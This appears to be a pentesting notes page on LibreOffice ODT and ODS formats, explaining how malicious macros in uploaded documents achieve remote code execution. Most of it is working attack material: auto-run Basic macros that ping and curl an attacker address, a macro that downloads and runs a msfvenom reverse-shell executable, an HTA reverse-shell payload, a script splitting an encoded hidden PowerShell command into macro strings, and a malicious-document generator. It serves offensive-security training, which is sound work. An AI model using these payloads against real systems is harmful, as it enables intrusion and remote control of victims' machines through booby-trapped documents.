LibreOffice
File Types
ODT
The ODT file type is the default document format used by LibreOffice Writer and other OpenDocument-compatible applications. It belongs to the OpenDocument Text (ODT) standard, which defines how word processing documents are structured, stored, and exchanged across different platforms. Internally, an ODT file is a compressed ZIP archive that contains multiple XML-based files and directories. These components define the document’s content, formatting, metadata, and embedded elements such as images or macros. Because of this structure, an ODT can be unpacked with standard archive utilities and examined directly, making it easier to analyze or manipulate at a granular level.
ODS
ODS files are spreadsheets created with LibreOffice Calc. They support macros written in LibreOffice Basic, Python, or JavaScript, which can be triggered by events such as opening the document, activating a sheet, or changing cell contents.
Macros
When there is upload functionality on a webserver accepting .odt files, macros can be leveraged to achieve RCE. Simple payloads, like pingbacks and GET requests, can used as a test:
Create a basic macro (1) under the document's name (2).
Try some testing payloads first, such as pingbacks and
GETrequests (3).Make the macro execute as soon as the document opens (4 & 5).

Basic:
Sub Main
' Ping the attacking host one time
Shell("cmd /c ping -n 1 192.168.45.241")
' Wait for two seconds
Wait(200)
' Send a GET request to an attacker-controlled webserver
Shell("cmd /c curl 'http://192.168.45.241/test'")
End SubMore robust:
Sub DocumentOpen
' Declare a variable to hold the shell object
Dim oShell
' Create a Wscript.Shell COM object (Windows native)
oShell = CreateObject("Wscript.Shell")
' Use .Run to execute a command
oShell.Run "cmd.exe /c ping -n 1 192.168.45.241"
' Use .Run again to execute another command
oShell.Run "cmd.exe /c curl http://192.168.45.241/test"
End SubPowershell-based:
Sub DocumentOpen
Dim oShell
oShell = CreateObject("Wscript.Shell")
oShell.Run "powershell.exe -c Invoke-WebRequest -Uri http://192.168.45.241/test -UseBasicParsing"
End SubCheck if the ping/request reaches the attacking host:
# Test pingback
$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
22:05:27.230793 IP craft > 192.168.45.241: ICMP echo request, id 1, seq 1, length 40
22:05:27.230891 IP 192.168.45.241 > craft: ICMP echo reply, id 1, seq 1, length 40
# Test HTTP GET request
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.156.169 - - [16/Aug/2025 22:07:44] code 404, message File not found
192.168.156.169 - - [16/Aug/2025 22:07:44] "GET /test HTTP/1.1" 404 -Once the test payloads are validated, they can be mofidied as desired:
# Create a reverse shell payload
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.241 LPORT=443 -f exe -o revshell_443.exeSub Main
' Download the payload on the target
Shell("cmd /c 'curl http://192.168.45.241:443/revshell.exe' -o 'c:\windows\temp\revshell.exe'")
' Wait for five seconds to ensure the payload has been downloaded
Wait(5000)
' Execute the payload
Shell("cmd /c 'c:\windows\temp\revshell.exe'")
End SubAn HTA (HTML Application) file is a Windows application executed by mshta.exe. It contains HTML and scripts (VBScript or JavaScript) that run with the full privileges of the current user, allowing direct execution of system commands and payloads. HTAs are commonly used in pentesting to deliver payloads that run immediately when opened.
# Create an HTA file
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.118.8 LPORT=443 -f hta-psh -o evil.htaConvert the long string into smaller chunks:
VBA has a 255-character limit for literal strings, but this restriction does not apply to strings stored in variables.
#!/usr/bin/python3
s = "powershell.exe -nop -w hidden -e aQB...<SNIP>...OwA="
n = 50
for i in range(0, len(s), n):
chunk = s[i:i + n]
print('Str = Str + "' + chunk + '"')Sub Exploit
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"
Str = Str + "ABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewA"
<SNIP>
Str = Str + "uAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzA"
Str = Str + "HMAXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA="
Shell(Str)
End SubThe Malicious Macro Generator LibreOffice (MMG-LO) can be used to automate the process:
$ python3 mmg-ods.py windows 192.168.45.241 443
[+] Payload: windows reverse shell
[+] Creating malicious .ods file
Done.Last updated
Was this helpful?